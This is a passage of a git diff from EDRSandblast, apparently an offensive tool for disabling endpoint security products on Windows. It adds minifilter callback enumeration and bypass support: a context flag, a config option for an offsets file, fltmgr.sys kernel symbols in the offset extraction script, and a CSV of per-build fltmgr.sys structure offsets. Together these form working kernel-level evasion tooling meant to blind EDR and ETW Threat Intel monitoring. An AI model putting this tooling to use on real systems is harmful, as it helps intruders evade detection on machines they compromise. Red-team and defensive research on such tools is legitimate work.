EnableEDRProcessAndThreadObjectsCallbacks(ctx->foundEDRDrivers); + } + // Renable the ETW Threat Intel provider. if (!ctx->config->actions.DontRestoreETWTI && ctx->isETWTISystemEnabled) { EnableETWThreatIntelProvider(ctx->config->verbose); diff --git a/EDRSandblast_StaticLibrary/EDRSandblast_API.h b/EDRSandblast_StaticLibrary/EDRSandblast_API.h index 7960347..a626f80 100644 --- a/EDRSandblast_StaticLibrary/EDRSandblast_API.h +++ b/EDRSandblast_StaticLibrary/EDRSandblast_API.h @@ -17,6 +17,7 @@ typedef struct EDRSB_CONTEXT_t { BOOL krnlmodeMonitoringEnumDone; BOOL foundNotifyRoutineCallbacks; BOOL foundObjectCallbacks; + BOOL foundMinifilterCallbacks; struct FOUND_EDR_CALLBACKS* foundEDRDrivers; BOOL isETWTISystemEnabled; BOOL isETWTICurrentlyEnabled; @@ -112,6 +113,12 @@ typedef struct EDRSB_CONFIG_t { */ LPWSTR kernelOffsetFilePath; //TODO : unifier les offsets dans un seul fichier (un json ?) pour �viter de demander � l'utilisateur de passer plusieurs fichiers + /* + * Path of the CSV file that contains the needed offsets for minifilter enum and bypass + * If NULL, tries to load FltmgrOffsets.csv + * If empty string, disable FltmgrOffsets.csv loading (relies on symbol download every time) + */ + LPWSTR fltmgrOffsetFilePath; /* * Path of the CSV file that contains the needed offsets for credential guard related operations * If NULL, tries to load WdigestOffsets.csv diff --git a/Offsets/ExtractOffsets.py b/Offsets/ExtractOffsets.py index 7621fef..c0f535a 100644 --- a/Offsets/ExtractOffsets.py +++ b/Offsets/ExtractOffsets.py @@ -17,7 +17,7 @@ THREADS_LIMIT = None CSVLock = threading.Lock() machineType = dict(x86=332, x64=34404) -supported_images = ["ntoskrnl.exe", "wdigest.dll", "ci.dll"] +supported_images = ["ntoskrnl.exe", "wdigest.dll", "ci.dll", "fltmgr.sys"] modes = [image_name.split(".")[0] for image_name in supported_images] extensions_by_mode = dict(image_name.split(".") for image_name in supported_images) known_image_versions = {mode: list() for mode in modes} @@ -46,6 +46,19 @@ symbols = dict( ("g_CiOptions", "symbol"), ("CiValidateImageHeader", "symbol"), ], + fltmgr=[ + ("FltGlobals", "symbol"), + ("_GLOBALS", "FrameList", "field"), + ("_FLT_RESOURCE_LIST_HEAD", "rList", "field"), + ("_FLTP_FRAME", "Links", "field"), + ("_FLTP_FRAME", "RegisteredFilters", "field"), + ("_FLT_OBJECT", "PrimaryLink", "field"), + ("_FLT_FILTER", "DriverObject", "field"), + ("_FLT_FILTER", "InstanceList", "field"), + ("_DRIVER_OBJECT", "DriverInit", "field"), + ("_FLT_INSTANCE", "CallbackNodes", "field"), + ("_FLT_INSTANCE", "FilterLink", "field"), + ], ) symbols_names = {mode: [t[0] if t[-1] == "symbol" else f"{t[0]}_{t[1]}" for t in symbols[mode]] for mode in modes} diff --git a/Offsets/FltmgrOffsets.csv b/Offsets/FltmgrOffsets.csv new file mode 100644 index 0000000..fd3842c --- /dev/null +++ b/Offsets/FltmgrOffsets.csv @@ -0,0 +1,90 @@ +fltmgrVersion,FltGlobals,_GLOBALS_FrameList,_FLT_RESOURCE_LIST_HEAD_rList,_FLTP_FRAME_Links,_FLTP_FRAME_RegisteredFilters,_FLT_OBJECT_PrimaryLink,_FLT_FILTER_DriverObject,_FLT_FILTER_InstanceList,_DRIVER_OBJECT_DriverInit,_FLT_INSTANCE_CallbackNodes,_FLT_INSTANCE_FilterLink +fltmgr_10240-16384.sys,254c0,58,68,8,48,10,60,68,58,a0,70 +fltmgr_10240-18967.sys,254c0,58,68,8,48,10,60,68,58,a0,70 +fltmgr_10240-19983.sys,254c0,58,68,8,48,10,60,68,58,a0,70 +fltmgr_10586-0.sys,25500,58,68,8,48,10,60,68,58,a0,70 +fltmgr_14393-0.sys,25500,58,68,8,48,10,60,68,58,a0,70 +fltmgr_14393-2879.sys,25500,58,68,8,48,10,60,68,58,a0,70 +fltmgr_14393-3297.sys,25500,58,68,8,48,10,60,68,58,a0,70 +fltmgr_14393-3659.sys,25500,58,68,8,48,10,60,68,58,a0,70 +fltmgr_14393-4467.sys,25500,58,68,8,48,10,60,68,58,a0,70 +fltmgr_14393-4583.sys,25500,58,68,8,48,10,60,68,58,a0,70 +fltmgr_14393-4946.sys,25500,58,68,8,48,10,60,68,58,a0,70 +fltmgr_14393-5127.sys,25500,58,68,8,48,10,60,68,58,a0,70 +fltmgr_14393-5192.sys,25500,58,68,8,48,10,60,68,58,a0,70 +fltmgr_15063-0.sys,27500,58,68,8,48,10,60,68,58,a0,70 +fltmgr_15063-413.sys,27500,58,68,8,48,10,60,68,58,a0,70 +fltmgr_15063-850.sys,27500,58,68,8,48,10,60,68,58,a0,70 +fltmgr_15063-2161.sys,27500,58,68,8,48,10,60,68,58,a0,70 +fltmgr_16299-15.sys,28540,58,68,8,48,10,60,68,58,a0,70 +fltmgr_16299-98.sys,28540,58,68,8,48,10,60,68,58,a0,70 +fltmgr_16299-99.sys,28540,58,68,8,48,10,60,68,58,a0,70 +fltmgr_16299-192.sys,28540,58,68,8,48,10,60,68,58,a0,70 +fltmgr_16299-371.sys,28540,58,68,8,48,10,60,68,58,a0,70 +fltmgr_16299-402.sys,28540,58,68,8,48,10,60,68,58,a0,70 +fltmgr_16299-1480.sys,28540,58,68,8,48,10,60,68,58,a0,70 +fltmgr_16299-1868.sys,27540,58,68,8,48,10,60,68,58,a0,70 +fltmgr_16299-2401.sys,27540,58,68,8,48,10,60,68,58,a0,70 +fltmgr_16299-10000.sys,28540,58,68,8,48,10,60,68,58,a0,70 +fltmgr_17134-1.sys,29540,58,68,8,48,10,60,68,58,a0,70 +fltmgr_17134-228.sys,29540,58,68,8,48,10,60,68,58,a0,70 +fltmgr_17134-1098.sys,29540,58,68,8,48,10,60,68,58,a0,70 +fltmgr_17134-1365.sys,29540,58,68,8,48,10,60,68,58,a0,70 +fltmgr_17134-1456.sys,29540,58,68,8,48,10,60,68,58,a0,70 +fltmgr_17763-1.sys,2a540,58,68,8,48,10,60,68,58,a0,70 +fltmgr_17763-379.sys,2a540,58,68,8,48,10,60,68,58,a0,70 +fltmgr_17763-592.sys,2a540,58,68,8,48,10,60,68,58,a0,70 +fltmgr_17763-831.sys,2a540,58,68,8,48,10,60,68,58,a0,70 +fltmgr_17763-1999.sys,2a540,58,68,8,48,10,60,68,58,a0,70 +fltmgr_17763-2028.sys,2a540,58,68,8,48,10,60,68,58,a0,70 +fltmgr_17763-2061.sys,2a540,58,68,8,48,10,60,68,58,a0,70 +fltmgr_17763-2090.sys,2a540,58,68,8,48,10,60,68,58,a0,70 +fltmgr_17763-2510.sys,2a540,58,68,8,48,10,60,68,58,a0,70 +fltmgr_17763-4492.sys,2a540,58,68,8,48,10,60,68,58,a0,70 +fltmgr_17763-4644.sys,2a540,58,68,8,48,10,60,68,58,a0,70 +fltmgr_17763-4720.sys,2a540,58,68,8,48,10,60,68,58,a0,70 +fltmgr_17763-5122.sys,2a540,58,68,8,48,10,60,68,58,a0,70 +fltmgr_17763-10576.sys,2a540,58,68,8,48,10,60,68,58,a0,70 +fltmgr_18362-1.sys,2a580,58,68,8,48,10,60,68,58,a0,70 +fltmgr_18362-267.sys,2a580,58,68,8,48,10,60,68,58,a0,70 +fltmgr_18362-1110.sys,2a580,58,68,8,48,10,60,68,58,a0,70 +fltmgr_18362-1216.sys,2a580,58,68,8,48,10,60,68,58,a0,70 +fltmgr_18362-1645.sys,2a580,58,68,8,48,10,60,68,58,a0,70 +fltmgr_18362-1714.sys,2a580,58,68,8,48,10,60,68,58,a0,70 +fltmgr_18362-2337.sys,2a580,58,68,8,48,10,60,68,58,a0,70 +fltmgr_19041-264.sys,2b600,58,68,8,48,10,60,68,58,a0,70 +fltmgr_19041-1151.sys,2b600,58,68,8,48,10,60,68,58,a0,70 +fltmgr_19041-1165.sys,2b600,58,68,8,48,10,60,68,58,a0,70 +fltmgr_19041-1503.sys,2a600,58,68,8,48,10,60,68,58,a0,70 +fltmgr_19041-1526.sys,2a600,58,68,8,48,10,60,68,58,a0,70 +fltmgr_19041-1682.sys,2b600,58,68,8,48,10,60,68,58,a0,70 +fltmgr_19041-1767.sys,2b600,58,68,8,48,10,60,68,58,a0,70 +fltmgr_19041-1806.sys,29600,58,68,8,48,10,60,68,58,a0,70 +fltmgr_19041-2728.sys,29600,58,68,8,48,10,60,68,58,a0,70 +fltmgr_19041-2788.sys,29600,58,68,8,48,10,60,68,58,a0,70 +fltmgr_19041-3086.sys,29600,58,68,8,48,10,60,68,58,a0,70 +fltmgr_19041-3205.sys,29600,58,68,8,48,10,60,68,58,a0,70 +fltmgr_19041-3570.sys,29600,58,68,8,48,10,60,68,58,a0,70 +fltmgr_19041-3636.sys,29600,58,68,8,48,10,60,68,58,a0,70 +fltmgr_19041-3684.sys,29600,58,68,8,48,10,60,68,58,a0,70 +fltmgr_21390-1.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70 +fltmgr_22000-1.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70 +fltmgr_22000-469.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70 +fltmgr_22000-527.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70 +fltmgr_22000-778.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70 +fltmgr_22000-1098.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70 +fltmgr_22000-1165.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70 +fltmgr_22000-1219.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70 +fltmgr_22000-1281.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70 +fltmgr_22000-1696.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70 +fltmgr_22000-1761.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70 +fltmgr_22000-2124.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70 +fltmgr_22000-2592.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70 +fltmgr_22000-2600.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70 +fltmgr_22621-4.sys,2c700,58,68,8,48,10,60,68,58,a8,70 +fltmgr_22621-608.sys,2c700,58,68,8,48,10,60,68,58,a8,70 +fltmgr_22621-1690.sys,2c700,58,68,8,48,10,60,68,58,a8,70 +fltmgr_22621-2361.sys,2e700,58,68,8,48,10,60,68,58,a8,70 +fltmgr_22621-2415.sys,2e700,58,68,8,48,10,60,68,58,a8,70 +fltmgr_22621-2506.sys,2e700,58,68,8,48,10,60,68,58,a8,70 +fltmgr_22621-2771.sys,2e700,58,68,8,48,10,60,68,58,a8,70